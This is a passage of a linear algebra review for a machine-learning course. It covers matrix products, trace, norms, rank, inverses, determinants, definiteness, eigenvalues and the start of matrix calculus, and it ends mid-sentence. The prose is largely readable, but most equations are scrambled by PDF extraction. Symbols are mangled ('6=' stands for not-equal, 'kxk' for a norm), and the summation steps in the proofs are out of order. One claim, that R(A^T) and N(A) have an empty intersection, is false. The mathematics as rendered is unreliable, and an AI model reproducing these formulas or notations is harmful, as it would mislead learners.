AB = \n=\n ..\n\n..\n..\n..  .\n1\n2\np\n...\n\n\n\n.\n.\n.\n. \n| |\n|\nT\nT\nT\nT\n— am —\na m b 1 am b 2 · · · am b p\nRemember that since A ∈ Rm×n and B ∈ Rn×p , ai ∈ Rn and bj ∈ Rn , so these inner\nproducts all make sense. This is the most “natural” representation when we represent A\nby rows and B by columns. Alternatively, we can represent A by columns, and B by rows.\nThis representation leads to a much trickier interpretation of AB as a sum of outer products.\nSymbolically,\n\n\n — bT1 —\n\nn\n| |\n|\n — bT —  X\n2\n\n\n=\nai bTi .\nC = AB =  a1 a2 · · · an  \n\n..\n\n\n.\ni=1\n| |\n|\n— bTn —\nPut another way, AB is equal to the sum, over all i, of the outer product of the ith column\nof A and the ith row of B. Since, in this case, ai ∈ Rm and bi ∈ Rp , the dimension of the\nouter product ai bTi is m × p, which coincides with the dimension of C. Chances are, the last\nequality above may appear confusing to you. If so, take the time to check it for yourself!\nSecond, we can also view matrix-matrix multiplication as a set of matrix-vector products.\nSpecifically, if we represent B by columns, we can view the columns of C as matrix-vector\nproducts between A and the columns of B. Symbolically,\n\n \n\n|\n|\n|\n| |\n|\nC = AB = A  b1 b2 · · · bp  =  Ab1 Ab2 · · · Abp  .\n|\n|\n|\n| |\n|\nHere the ith column of C is given by the matrix-vector product with the vector on the right,\nci = Abi . These matrix-vector products can in turn be interpreted using both viewpoints\ngiven in the previous subsection. Finally, we have the analogous viewpoint, where we represent A by rows, and view the rows of C as the matrix-vector product between the rows of A\nand C. Symbolically,\n\n\n\n\n— aT1 B —\n— aT1 —\n — aT B — \n — aT — \n2\n2\n\n\n\n\nC = AB = \n.\nB = \n..\n..\n\n\n\n\n.\n.\nT\nT\n— am B —\n— am —\nHere the ith row of C is given by the matrix-vector product with the vector on the left,\ncTi = aTi B.\n6\nIt may seem like overkill to dissect matrix multiplication to such a large degree, especially\nwhen all these viewpoints follow immediately from the initial definition we gave (in about a\nline of math) at the beginning of this section. However, virtually all of linear algebra deals\nwith matrix multiplications of some kind, and it is worthwhile to spend some time trying to\ndevelop an intuitive understanding of the viewpoints presented here.\nIn addition to this, it is useful to know a few basic properties of matrix multiplication at\na higher level:\n• Matrix multiplication is associative: (AB)C = A(BC).\n• Matrix multiplication is distributive: A(B + C) = AB + AC.\n• Matrix multiplication is, in general, not commutative; that is, it can be the case that\nAB 6= BA. (For example, if A ∈ Rm×n and B ∈ Rn×q , the matrix product BA does\nnot even exist if m and q are not equal!)\nIf you are not familiar with these properties, take the time to verify them for yourself.\nFor example, to check the associativity of matrix multiplication, suppose that A ∈ Rm×n ,\nB ∈ Rn×p , and C ∈ Rp×q . Note that AB ∈ Rm×p , so (AB)C ∈ Rm×q . Similarly, BC ∈ Rn×q ,\nso A(BC) ∈ Rm×q . Thus, the dimensions of the resulting matrices agree. To show that\nmatrix multiplication is associative, it suffices to check that the (i, j)th entry of (AB)C is\nequal to the (i, j)th entry of A(BC). We can verify this directly using the definition of\nmatrix multiplication:\n!\np\np\nn\nX\nX\nX\nAil Blk Ckj\n(AB)ik Ckj =\n((AB)C)ij =\n=\nk=1\n=\nn\nX\nl=1\nl=1\nn\nX\nk=1\nk=1\np\nn\nX\nX\nAil Blk Ckj\nl=1\nAil\nn\nX\n!\n=\n!\n=\nBlk Ckj\nk=p\nl=1\nn\nX\np\nX\nk=1\nAil Blk Ckj\n!\nAil (BC)lj = (A(BC))ij .\nl=1\nHere, the first and last two equalities simply use the definition of matrix multiplication, the\nthird and fifth equalities use the distributive property for scalar multiplication over addition,\nand the fourth equality uses the commutative and associativity of scalar addition. This\ntechnique for proving matrix properties by reduction to simple scalar properties will come\nup often, so make sure you’re familiar with it.\n3\nOperations and Properties\nIn this section we present several operations and properties of matrices and vectors. Hopefully a great deal of this will be review for you, so the notes can just serve as a reference for\nthese topics.\n7\n3.1\nThe Identity Matrix and Diagonal Matrices\nThe identity matrix , denoted I ∈ Rn×n , is a square matrix with ones on the diagonal and\nzeros everywhere else. That is,\n1 i=j\nIij =\n0 i 6= j\nIt has the property that for all A ∈ Rm×n ,\nAI = A = IA.\nNote that in some sense, the notation for the identity matrix is ambiguous, since it does not\nspecify the dimension of I. Generally, the dimensions of I are inferred from context so as to\nmake matrix multiplication possible. For example, in the equation above, the I in AI = A\nis an n × n matrix, whereas the I in A = IA is an m × m matrix.\nA diagonal matrix is a matrix where all non-diagonal elements are 0. This is typically\ndenoted D = diag(d1 , d2 , . . . , dn ), with\ndi i = j\nDij =\n0 i 6= j\nClearly, I = diag(1, 1, . . . , 1).\n3.2\nThe Transpose\nThe transpose of a matrix results from “flipping” the rows and columns. Given a matrix\nA ∈ Rm×n , its transpose, written AT ∈ Rn×m , is the n × m matrix whose entries are given\nby\n(AT )ij = Aji .\nWe have in fact already been using the transpose when describing row vectors, since the\ntranspose of a column vector is naturally a row vector.\nThe following properties of transposes are easily verified:\n• (AT )T = A\n• (AB)T = B T AT\n• (A + B)T = AT + B T\n3.3\nSymmetric Matrices\nA square matrix A ∈ Rn×n is symmetric if A = AT . It is anti-symmetric if A = −AT .\nIt is easy to show that for any matrix A ∈ Rn×n , the matrix A + AT is symmetric and the\n8\nmatrix A − AT is anti-symmetric. From this it follows that any square matrix A ∈ Rn×n can\nbe represented as a sum of a symmetric matrix and an anti-symmetric matrix, since\n1\n1\nA = (A + AT ) + (A − AT )\n2\n2\nand the first matrix on the right is symmetric, while the second is anti-symmetric. It turns out\nthat symmetric matrices occur a great deal in practice, and they have many nice properties\nwhich we will look at shortly. It is common to denote the set of all symmetric matrices of\nsize n as Sn , so that A ∈ Sn means that A is a symmetric n × n matrix;\n3.4\nThe Trace\nThe trace of a square matrix A ∈ Rn×n , denoted tr(A) (or just trA if the parentheses are\nobviously implied), is the sum of diagonal elements in the matrix:\ntrA =\nn\nX\nAii .\ni=1\nAs described in the CS229 lecture notes, the trace has the following properties (included\nhere for the sake of completeness):\n• For A ∈ Rn×n , trA = trAT .\n• For A, B ∈ Rn×n , tr(A + B) = trA + trB.\n• For A ∈ Rn×n , t ∈ R, tr(tA) = t trA.\n• For A, B such that AB is square, trAB = trBA.\n• For A, B, C such that ABC is square, trABC = trBCA = trCAB, and so on for the\nproduct of more matrices.\nAs an example of how these properties can be proven, we’ll consider the fourth property\ngiven above. Suppose that A ∈ Rm×n and B ∈ Rn×m (so that AB ∈ Rm×m is a square\nmatrix). Observe that BA ∈ Rn×n is also a square matrix, so it makes sense to apply the\ntrace operator to it. To verify that trAB = trBA, note that\n!\nm\nn\nm\nX\nX\nX\ntrAB =\n(AB)ii =\nAij Bji\n=\ni=1\nm X\nn\nX\ni=1\nAij Bji =\ni=1 j=1\n=\nn\nX\nj=1\nm\nX\nj=1\nn\nm\nXX\nBji Aij\nj=1 i=1\nBji Aij\ni=1\n9\n!\n=\nn\nX\nj=1\n(BA)jj = trBA.\nHere, the first and last two equalities use the definition of the trace operator and matrix\nmultiplication. The fourth equality, where the main work occurs, uses the commutativity\nof scalar multiplication in order to reverse the order of the terms in each product, and the\ncommutativity and associativity of scalar addition in order to rearrange the order of the\nsummation.\n3.5\nNorms\nA norm of a vector kxk is informally a measure of the “length” of the vector. For example,\nwe have the commonly-used Euclidean or ℓ2 norm,\nv\nu n\nuX\nkxk2 = t\nx2i .\ni=1\nNote that kxk22 = xT x.\nMore formally, a norm is any function f : Rn → R that satisfies 4 properties:\n1. For all x ∈ Rn , f (x) ≥ 0 (non-negativity).\n2. f (x) = 0 if and only if x = 0 (definiteness).\n3. For all x ∈ Rn , t ∈ R, f (tx) = |t|f (x) (homogeneity).\n4. For all x, y ∈ Rn , f (x + y) ≤ f (x) + f (y) (triangle inequality).\nOther examples of norms are the ℓ1 norm,\nkxk1 =\nn\nX\n|xi |\ni=1\nand the ℓ∞ norm,\nkxk∞ = maxi |xi |.\nIn fact, all three norms presented so far are examples of the family of ℓp norms, which are\nparameterized by a real number p ≥ 1, and defined as\n!1/p\nn\nX\nkxkp =\n|xi |p\n.\ni=1\nNorms can also be defined for matrices, such as the Frobenius norm,\nv\nuX\nn\np\nu m X\nt\nA2ij = tr(AT A).\nkAkF =\ni=1 j=1\nMany other norms exist, but they are beyond the scope of this review.\n10\n3.6\nLinear Independence and Rank\nA set of vectors {x1 , x2 , . . . xn } ⊂ Rm is said to be (linearly) independent if no vector can\nbe represented as a linear combination of the remaining vectors. Conversely, if one vector\nbelonging to the set can be represented as a linear combination of the remaining vectors,\nthen the vectors are said to be (linearly) dependent. That is, if\nxn =\nn−1\nX\nαi xi\ni=1\nfor some scalar values α1 , . . . , αn−1 ∈ R, then we say that the vectors x1 , . . . , xn are linearly\ndependent; otherwise, the vectors are linearly independent. For example, the vectors\n\n\n \n \n2\n4\n1\nx1 =  2  x2 =  1  x3 =  −3 \n−1\n5\n3\nare linearly dependent because x3 = −2x1 + x2 .\nThe column rank of a matrix A ∈ Rm×n is the size of the largest subset of columns of\nA that constitute a linearly independent set. With some abuse of terminology, this is often\nreferred to simply as the number of linearly independent columns of A. In the same way,\nthe row rank is the largest number of rows of A that constitute a linearly independent set.\nFor any matrix A ∈ Rm×n , it turns out that the column rank of A is equal to the row\nrank of A (though we will not prove this), and so both quantities are referred to collectively\nas the rank of A, denoted as rank(A). The following are some basic properties of the rank:\n• For A ∈ Rm×n , rank(A) ≤ min(m, n). If rank(A) = min(m, n), then A is said to be\nfull rank .\n• For A ∈ Rm×n , rank(A) = rank(AT ).\n• For A ∈ Rm×n , B ∈ Rn×p , rank(AB) ≤ min(rank(A), rank(B)).\n• For A, B ∈ Rm×n , rank(A + B) ≤ rank(A) + rank(B).\n3.7\nThe Inverse\nThe inverse of a square matrix A ∈ Rn×n is denoted A−1 , and is the unique matrix such\nthat\nA−1 A = I = AA−1 .\nNote that not all matrices have inverses. Non-square matrices, for example, do not have\ninverses by definition. However, for some square matrices A, it may still be the case that\n11\nA−1 may not exist. In particular, we say that A is invertible or non-singular if A−1\nexists and non-invertible or singular otherwise.1\nIn order for a square matrix A to have an inverse A−1 , then A must be full rank. We will\nsoon see that there are many alternative sufficient and necessary conditions, in addition to\nfull rank, for invertibility.\nThe following are properties of the inverse; all assume that A, B ∈ Rn×n are non-singular:\n• (A−1 )−1 = A\n• (AB)−1 = B −1 A−1\n• (A−1 )T = (AT )−1 . For this reason this matrix is often denoted A−T .\nAs an example of how the inverse is used, consider the linear system of equations, Ax = b\nwhere A ∈ Rn×n , and x, b ∈ Rn . If A is nonsingular (i.e., invertible), then x = A−1 b. (What\nif A ∈ Rm×n is not a square matrix? Does this work?)\n3.8\nOrthogonal Matrices\nTwo vectors x, y ∈ Rn are orthogonal if xT y = 0. A vector x ∈ Rn is normalized if\nkxk2 = 1. A square matrix U ∈ Rn×n is orthogonal (note the different meanings when\ntalking about vectors versus matrices) if all its columns are orthogonal to each other and are\nnormalized (the columns are then referred to as being orthonormal ).\nIt follows immediately from the definition of orthogonality and normality that\nUT U = I = UUT .\nIn other words, the inverse of an orthogonal matrix is its transpose. Note that if U is not\nsquare — i.e., U ∈ Rm×n , n < m — but its columns are still orthonormal, then U T U = I,\nbut U U T 6= I. We generally only use the term orthogonal to describe the previous case,\nwhere U is square.\nAnother nice property of orthogonal matrices is that operating on a vector with an\northogonal matrix will not change its Euclidean norm, i.e.,\nkU xk2 = kxk2\nfor any x ∈ Rn , U ∈ Rn×n orthogonal.\n3.9\nRange and Nullspace of a Matrix\nThe span of a set of vectors {x1 , x2 , . . . xn } is the set of all vectors that can be expressed as\na linear combination of {x1 , . . . , xn }. That is,\n(\n)\nn\nX\nspan({x1 , . . . xn }) = v : v =\nαi xi , αi ∈ R .\ni=1\n1\nIt’s easy to get confused and think that non-singular means non-invertible. But in fact, it means the\nopposite! Watch out!\n12\nIt can be shown that if {x1 , . . . , xn } is a set of n linearly independent vectors, where each\nxi ∈ Rn , then span({x1 , . . . xn }) = Rn . In other words, any vector v ∈ Rn can be written as\na linear combination of x1 through xn . The projection of a vector y ∈ Rm onto the span\nof {x1 , . . . , xn } (here we assume xi ∈ Rm ) is the vector v ∈ span({x1 , . . . xn }), such that v\nis as close as possible to y, as measured by the Euclidean norm kv − yk2 . We denote the\nprojection as Proj(y; {x1 , . . . , xn }) and can define it formally as,\nProj(y; {x1 , . . . xn }) = argminv∈span({x1 ,...,xn }) ky − vk2 .\nThe range (sometimes also called the columnspace) of a matrix A ∈ Rm×n , denoted\nR(A), is the the span of the columns of A. In other words,\nR(A) = {v ∈ Rm : v = Ax, x ∈ Rn }.\nMaking a few technical assumptions (namely that A is full rank and that n < m), the\nprojection of a vector y ∈ Rm onto the range of A is given by,\nProj(y; A) = argminv∈R(A) kv − yk2 = A(AT A)−1 AT y .\nThis last equation should look extremely familiar, since it is almost the same formula we\nderived in class (and which we will soon derive again) for the least squares estimation of\nparameters. Looking at the definition for the projection, it should not be too hard to\nconvince yourself that this is in fact the same objective that we minimized in our least\nsquares problem (except for a squaring of the norm, which doesn’t affect the optimal point)\nand so these problems are naturally very connected. When A contains only a single column,\na ∈ Rm , this gives the special case for a projection of a vector on to a line:\nProj(y; a) =\naaT\ny .\naT a\nThe nullspace of a matrix A ∈ Rm×n , denoted N (A) is the set of all vectors that equal\n0 when multiplied by A, i.e.,\nN (A) = {x ∈ Rn : Ax = 0}.\nNote that vectors in R(A) are of size m, while vectors in the N (A) are of size n, so vectors\nin R(AT ) and N (A) are both in Rn . In fact, we can say much more. It turns out that\nw : w = u + v, u ∈ R(AT ), v ∈ N (A) = Rn and R(AT ) ∩ N (A) = ∅ .\nIn other words, R(AT ) and N (A) are disjoint subsets that together span the entire space of\nRn . Sets of this type are called orthogonal complements, and we denote this R(AT ) =\nN (A)⊥ .\n13\n3.10\nThe Determinant\nThe determinant of a square matrix A ∈ Rn×n , is a function det : Rn×n → R, and is\ndenoted |A| or det A (like the trace operator, we usually omit parentheses). Algebraically,\none could write down an explicit formula for the determinant of A, but this unfortunately\ngives little intuition about its meaning. Instead, we’ll start out by providing a geometric\ninterpretation of the determinant and then visit some of its specific algebraic properties\nafterwards.\nGiven a matrix\n\n\n— aT1 —\n — aT — \n2\n\n\n,\n\n..\n\n\n.\nT\n— an —\nconsider the set of points S ⊂ Rn formed by taking all possible linear combinations of the\nrow vectors a1 , . . . , an ∈ Rn of A, where the coefficients of the linear combination are all\nbetween 0 and 1; that is, the set S is the restriction of span({a1 , . . . , an }) to only those\nlinear combinations whose coefficients α1 , . . . , αn satisfy 0 ≤ αi ≤ 1, i = 1, . . . , n. Formally,\nn\nS = {v ∈ R : v =\nn\nX\nαi ai where 0 ≤ αi ≤ 1, i = 1, . . . , n}.\ni=1\nThe absolute value of the determinant of A, it turns out, is a measure of the “volume” of\nthe set S.2\nFor example, consider the 2 × 2 matrix,\n1 3\n.\n(1)\nA=\n3 2\nHere, the rows of the matrix are\na1 =\n1\n3\na2 =\n3\n2\n.\nThe set S corresponding to these rows is shown in Figure 1. For two-dimensional matrices,\nS generally has the shape of a parallelogram. In our example, the value of the determinant\nis |A| = −7 (as can be computed using the formulas shown later in this section), so the area\nof the parallelogram is 7. (Verify this for yourself!)\nIn three dimensions, the set S corresponds to an object known as a parallelepiped (a threedimensional box with skewed sides, such that every face has the shape of a parallelogram).\nThe absolute value of the determinant of the 3 × 3 matrix whose rows define S give the\nthree-dimensional volume of the parallelepiped. In even higher dimensions, the set S is an\nobject known as an n-dimensional parallelotope.\n2\nAdmittedly, we have not actually defined what we mean by “volume” here, but hopefully the intuition\nshould be clear enough. When n = 2, our notion of “volume” corresponds to the area of S in the Cartesian\nplane. When n = 3, “volume” corresponds with our usual notion of volume for a three-dimensional object.\n14\n(4, 5)\n(1, 3)\na1\n(3, 2)\na2\n(0, 0)\nFigure 1: Illustration of the determinant for the 2 × 2 matrix A given in (1). Here, a1 and a2\nare vectors corresponding to the rows of A, and the set S corresponds to the shaded region\n(i.e., the parallelogram). The absolute value of the determinant, |detA| = 7, is the area of\nthe parallelogram.\nAlgebraically, the determinant satisfies the following three properties (from which all\nother properties follow, including the general formula):\n1. The determinant of the identity is 1, |I| = 1. (Geometrically, the volume of a unit\nhypercube is 1).\n2. Given a matrix A ∈ Rn×n , if we multiply\ndeterminant of the new matrix is t|A|,\n\n— t aT\n1\n — aT\n2\n\n\n..\n\n.\n— aTm\na single row in A by a scalar t ∈ R, then the\n\n— — \n\n = t|A|.\n\n— (Geometrically, multiplying one of the sides of the set S by a factor t causes the volume\nto increase by a factor t.)\n3. If we exchange any two rows aTi and\nis −|A|, for example\n\n—\n —\n\n\n\n—\naTj of A, then the determinant of the new matrix\naT2\naT1\n..\n.\naTm\n\n— — \n\n = −|A|.\n\n— In case you are wondering, it is not immediately obvious that a function satisfying the above\nthree properties exists. In fact, though, such a function does exist, and is unique (which we\nwill not prove here).\nSeveral properties that follow from the three properties above include:\n15\n• For A ∈ Rn×n , |A| = |AT |.\n• For A, B ∈ Rn×n , |AB| = |A||B|.\n• For A ∈ Rn×n , |A| = 0 if and only if A is singular (i.e., non-invertible). (If A is singular\nthen it does not have full rank, and hence its columns are linearly dependent. In this\ncase, the set S corresponds to a “flat sheet” within the n-dimensional space and hence\nhas zero volume.)\n• For A ∈ Rn×n and A non-singular, |A−1 | = 1/|A|.\nBefore giving the general definition for the determinant, we define, for A ∈ Rn×n , A\\i,\\j ∈\nR\nto be the matrix that results from deleting the ith row and jth column from A.\nThe general (recursive) formula for the determinant is\n(n−1)×(n−1)\n|A| =\nn\nX\n(−1)i+j aij |A\\i,\\j |\n(for any j ∈ 1, . . . , n)\n(−1)i+j aij |A\\i,\\j |\n(for any i ∈ 1, . . . , n)\ni=1\n=\nn\nX\nj=1\nwith the initial case that |A| = a11 for A ∈ R1×1 . If we were to expand this formula\ncompletely for A ∈ Rn×n , there would be a total of n! (n factorial) different terms. For this\nreason, we hardly ever explicitly write the complete equation of the determinant for matrices\nbigger than 3 × 3. However, the equations for determinants of matrices up to size 3 × 3 are\nfairly common, and it is good to know them:\n|[a11 ]| = a11\na11 a12 a21 a22 = a11 a22 − a12 a21\n\n\na11 a12 a13  a21 a22 a23  = a11 a22 a33 + a12 a23 a31 + a13 a21 a32\n−a11 a23 a32 − a12 a21 a33 − a13 a22 a31\na31 a32 a33 The classical adjoint (often just called the adjoint) of a matrix A ∈ Rn×n , is denoted\n(note the switch in the indices A\\j,\\i ). It can be shown that for any nonsingular A ∈ Rn×n ,\nA−1 =\n1\n|A|\nWhile this is a nice “explicit” formula for the inverse of matrix, we should note that, numerically, there are in fact much more efficient ways of computing the inverse.\n16\n3.11\nQuadratic Forms and Positive Semidefinite Matrices\nGiven a square matrix A ∈ Rn×n and a vector x ∈ Rn , the scalar value xT Ax is called a\nquadratic form. Written explicitly, we see that\n!\nn\nn\nn\nn X\nn\nX\nX\nX\nX\nT\nx Ax =\nxi (Ax)i =\nAij xj =\nxi\nAij xi xj .\ni=1\nj=1\ni=1\ni=1 j=1\nNote that,\n1 T\n1\nA + A x,\nx Ax = (x Ax) = x A x = x\n2\n2\nwhere the first equality follows from the fact that the transpose of a scalar is equal to\nitself, and the second equality follows from the fact that we are averaging two quantities\nwhich are themselves equal. From this, we can conclude that only the symmetric part of\nA contributes to the quadratic form. For this reason, we often implicitly assume that the\nmatrices appearing in a quadratic form are symmetric.\nWe give the following definitions:\nT\nT\nT\nT\nT\nT\n• A symmetric matrix A ∈ Sn is positive definite (PD) if for all non-zero vectors\nx ∈ Rn , xT Ax > 0. This is usually denoted A ≻ 0 (or just A > 0), and often times the\nset of all positive definite matrices is denoted Sn++ .\n• A symmetric matrix A ∈ Sn is positive semidefinite (PSD) if for all vectors xT Ax ≥\n0. This is written A 0 (or just A ≥ 0), and the set of all positive semidefinite matrices\nis often denoted Sn+ .\n• Likewise, a symmetric matrix A ∈ Sn is negative definite (ND), denoted A ≺ 0 (or\njust A < 0) if for all non-zero x ∈ Rn , xT Ax < 0.\n• Similarly, a symmetric matrix A ∈ Sn is negative semidefinite (NSD), denoted\nA 0 (or just A ≤ 0) if for all x ∈ Rn , xT Ax ≤ 0.\n• Finally, a symmetric matrix A ∈ Sn is indefinite, if it is neither positive semidefinite\nnor negative semidefinite — i.e., if there exists x1 , x2 ∈ Rn such that xT1 Ax1 > 0 and\nxT2 Ax2 < 0.\nIt should be obvious that if A is positive definite, then −A is negative definite and vice\nversa. Likewise, if A is positive semidefinite then −A is negative semidefinite and vice versa.\nIf A is indefinite, then so is −A.\nOne important property of positive definite and negative definite matrices is that they\nare always full rank, and hence, invertible. To see why this is the case, suppose that some\nmatrix A ∈ Rn×n is not full rank. Then, suppose that the jth column of A is expressible as\na linear combination of other n − 1 columns:\nX\naj =\nx i ai ,\ni6=j\n17\nfor some x1 , . . . , xj−1 , xj+1 , . . . , xn ∈ R. Setting xj = −1, we have\nAx =\nn\nX\nxi ai = 0.\ni=1\nBut this implies xT Ax = 0 for some non-zero vector x, so A must be neither positive definite\nnor negative definite. Therefore, if A is either positive definite or negative definite, it must\nbe full rank.\nFinally, there is one type of positive definite matrix that comes up frequently, and so\ndeserves some special mention. Given any matrix A ∈ Rm×n (not necessarily symmetric or\neven square), the matrix G = AT A (sometimes called a Gram matrix ) is always positive\nsemidefinite. Further, if m ≥ n (and we assume for convenience that A is full rank), then\nG = AT A is positive definite.\n3.12\nEigenvalues and Eigenvectors\nGiven a square matrix A ∈ Rn×n , we say that λ ∈ C is an eigenvalue of A and x ∈ Cn is\nthe corresponding eigenvector 3 if\nAx = λx, x 6= 0.\nIntuitively, this definition means that multiplying A by the vector x results in a new vector\nthat points in the same direction as x, but scaled by a factor λ. Also note that for any\neigenvector x ∈ Cn , and scalar t ∈ C, A(cx) = cAx = cλx = λ(cx), so cx is also an\neigenvector. For this reason when we talk about “the” eigenvector associated with λ, we\nusually assume that the eigenvector is normalized to have length 1 (this still creates some\nambiguity, since x and −x will both be eigenvectors, but we will have to live with this).\nWe can rewrite the equation above to state that (λ, x) is an eigenvalue-eigenvector pair\nof A if,\n(λI − A)x = 0, x 6= 0.\nBut (λI − A)x = 0 has a non-zero solution to x if and only if (λI − A) has a non-empty\nnullspace, which is only the case if (λI − A) is singular, i.e.,\n|(λI − A)| = 0.\nWe can now use the previous definition of the determinant to expand this expression\ninto a (very large) polynomial in λ, where λ will have maximum degree n. We then find\nthe n (possibly complex) roots of this polynomial to find the n eigenvalues λ1 , . . . , λn . To\nfind the eigenvector corresponding to the eigenvalue λi , we simply solve the linear equation\n(λi I − A)x = 0. It should be noted that this is not the method which is actually used\n3\nNote that λ and the entries of x are actually in C, the set of complex numbers, not just the reals; we\nwill see shortly why this is necessary. Don’t worry about this technicality for now, you can think of complex\nvectors in the same way as real vectors.\n18\nin practice to numerically compute the eigenvalues and eigenvectors (remember that the\ncomplete expansion of the determinant has n! terms); it is rather a mathematical argument.\nThe following are properties of eigenvalues and eigenvectors (in all cases assume A ∈ Rn×n\nhas eigenvalues λi , . . . , λn and associated eigenvectors x1 , . . . xn ):\n• The trace of a A is equal to the sum of its eigenvalues,\ntrA =\nn\nX\nλi .\ni=1\n• The determinant of A is equal to the product of its eigenvalues,\n|A| =\nn\nY\nλi .\ni=1\n• The rank of A is equal to the number of non-zero eigenvalues of A.\n• If A is non-singular then 1/λi is an eigenvalue of A−1 with associated eigenvector xi ,\ni.e., A−1 xi = (1/λi )xi . (To prove this, take the eigenvector equation, Axi = λi xi and\nleft-multiply each side by A−1 .)\n• The eigenvalues of a diagonal matrix D = diag(d1 , . . . dn ) are just the diagonal entries\nd1 , . . . dn .\nWe can write all the eigenvector equations simultaneously as\nAX = XΛ\nwhere the columns of X ∈ Rn×n are the eigenvectors of A and Λ is a diagonal matrix whose\nentries are the eigenvalues of A, i.e.,\n\n\n|\n|\n|\nX ∈ Rn×n =  x1 x2 · · · xn  , Λ = diag(λ1 , . . . , λn ).\n|\n|\n|\nIf the eigenvectors of A are linearly independent, then the matrix X will be invertible, so\nA = XΛX −1 . A matrix that can be written in this form is called diagonalizable.\n3.13\nEigenvalues and Eigenvectors of Symmetric Matrices\nTwo remarkable properties come about when we look at the eigenvalues and eigenvectors\nof a symmetric matrix A ∈ Sn . First, it can be shown that all the eigenvalues of A are\nreal. Secondly, the eigenvectors of A are orthonormal, i.e., the matrix X defined above is an\northogonal matrix (for this reason, we denote the matrix of eigenvectors as U in this case).\n19\nWe can therefore represent A as A = U ΛU T , remembering from above that the inverse of\nan orthogonal matrix is just its transpose.\nUsing this, we can show that the definiteness of a matrix depends entirely on the sign of\nits eigenvalues. Suppose A ∈ Sn = U ΛU T . Then\nT\nT\nT\nT\nx Ax = x U ΛU x = y Λy =\nn\nX\nλi yi2\ni=1\nwhere y = U T x (and since U is full rank, any vector y ∈ Rn can be represented in this form).\nBecause yi2 is always positive, the sign of this expression depends entirely on the λi ’s. If all\nλi > 0, then the matrix is positive definite; if all λi ≥ 0, it is positive semidefinite. Likewise,\nif all λi < 0 or λi ≤ 0, then A is negative definite or negative semidefinite respectively.\nFinally, if A has both positive and negative eigenvalues, it is indefinite.\nAn application where eigenvalues and eigenvectors come up frequently is in maximizing\nsome function of a matrix. In particular, for a matrix A ∈ Sn , consider the following\nmaximization problem,\nmaxx∈Rn xT Ax\nsubject to kxk22 = 1\ni.e., we want to find the vector (of norm 1) which maximizes the quadratic form. Assuming\nthe eigenvalues are ordered as λ1 ≥ λ2 ≥ . . . ≥ λn , the optimal x for this optimization\nproblem is x1 , the eigenvector corresponding to λ1 . In this case the maximal value of the\nquadratic form is λ1 . Similarly, the optimal solution to the minimization problem,\nminx∈Rn xT Ax\nsubject to kxk22 = 1\nis xn , the eigenvector corresponding to λn , and the minimal value is λn . This can be proved by\nappealing to the eigenvector-eigenvalue form of A and the properties of orthogonal matrices.\nHowever, in the next section we will see a way of showing it directly using matrix calculus.\n4\nMatrix Calculus\nWhile the topics in the previous sections are typically covered in a standard course on linear\nalgebra, one topic that does not seem to be covered very often (and which we will use\nextensively) is the extension of calculus to the vector setting. Despite the fact that all the\nactual calculus we use is relatively trivial, the notation can often make things look much\nmore difficult than they are. In this section we present some basic definitions of matrix\ncalculus and provide a few examples.\n4.1\nSuppose that f : Rm×n → R is a function that takes as input a matrix A of size m × n and\nreturns a real value. Then the gradient of f (with respect to A ∈ Rm×n ) is the matrix of\n20\npartial derivatives, defined as:\nm×n\n∇A f (A) ∈ R\ni.e., an m × n matrix with\n\n\n\n=\n\n\n∂f (A)\n∂A11\n∂f (A)\n∂A21\n∂f (A)\n∂A12\n∂f (A)\n∂A22\n..\n.\n···\n···\n...\n∂f (A)\n∂A1n\n∂f (A)\n∂A2n\n∂f (A)\n∂Am1\n∂f (A)\n∂Am2\n···\n∂f (A)\n∂Amn\n..\n.\n(∇A f (A))ij =\n..\n.\n\n\n\n\n\n\n∂f (A)\n.\n∂Aij\nNote that the size of ∇A f (A) is always the same as the size of A. So if, in particular, A is\njust a vector x ∈ Rn ,\n\n\n\n\n∇x f (x) = \n\n\n∂f (x)\n∂x1\n∂f (x)\n∂x2\n..\n.\n∂f (x)\n∂xn\n\n\n.\n\n\nIt is very important to remember that the gradient of a function is only defined if the function\nis real-valued, that is, if it returns a scalar value. We can not, for example, take the gradient\nof Ax, A ∈ Rn×n with respect to x, since this quantity is vector-valued.\nIt follows directly from the equivalent properties of partial derivatives that:\n• ∇x (f (x) + g(x)) = ∇x f (x) + ∇x g(x).\n• For t ∈ R, ∇x (t f (x)) = t∇x f (x).\nIn principle, gradients are a natural extension of partial derivatives to functions of multiple variables. In practice, however, working with gradients can sometimes be tricky for\nnotational reasons. For example, suppose that A ∈ Rm×n is a matrix of fixed coefficients\nand suppose that b ∈ Rm is a vector of fixed coefficients. Let f : Rm → R be the function\ndefined by f (z) = z T z, such that ∇z f (z) = 2z. But now, consider the expression,\n∇f (Ax).\nHow should this expression be interpreted? There are at least two possibilities:\n1. In the first interpretation, recall that ∇z f (z) = 2z. Here, we interpret ∇f (Ax) as\nevaluating the gradient at the point Ax, hence,\n∇f (Ax) = 2(Ax) = 2Ax ∈ Rm .\n2. In the second interpretation, we consider the quantity f (Ax) as a function of the input\nvariables x. More formally, let g(x) = f (Ax). Then in this interpretation,\n∇f (Ax) = ∇x g(x) ∈ Rn .\n21\nHere, we can see that these two interpretations are indeed different. One interpretation yields\nan m-dimensional vector as a result, while the other interpretation yields an n-dimensional\nvector as a result! How can we resolve this?\nHere, the key is to make explicit the variables which we are differentiating with respect\nto. In the first case, we are differentiating the function f with respect to its arguments z and\nthen substituting the argument Ax. In the second case, we are differentiating the composite\nfunction g(x) = f (Ax) with respect to x directly. We denote the first case as ∇z f (Ax) and\nthe second case as ∇x f (Ax).4 Keeping the notation clear is extremely important (as you’ll\nfind out in your homework, in fact!).\n4.2\nThe Hessian\nSuppose that f : Rn → R is a function that takes a vector in Rn and returns a real number.\nThen the Hessian matrix with respect to x, written ∇2x f (x) or simply as H is the n × n\nmatrix of partial derivatives,\n∇2x f (x)\nn×n\n∈R\n\n\n\n=\n\n\n∂ 2 f (x)\n∂x21\n∂ 2 f (x)\n∂x2 ∂x1\n∂ 2 f (x)\n∂x1 ∂x2\n∂ 2 f (x)\n∂x22\n∂ 2 f (x)\n∂xn ∂x1\n∂ 2 f (x)\n∂xn ∂x2\n..\n.\n..\n.\n···\n···\n...\n···\n∂ 2 f (x)\n∂x1 ∂xn\n∂ 2 f (x)\n∂x2 ∂xn\n..\n.\n∂ 2 f (x)\n∂x2n\n\n\n\n.\n\n\nIn other words, ∇2x f (x) ∈ Rn×n , with\n(∇2x f (x))ij =\n∂ 2 f (x)\n.\n∂xi ∂xj\nNote that the Hessian is always symmetric, since\n∂ 2 f (x)\n∂ 2 f (x)\n=\n.\n∂xi ∂xj\n∂xj ∂xi\nSimilar to the gradient, the Hessian is defined only when f (x) is 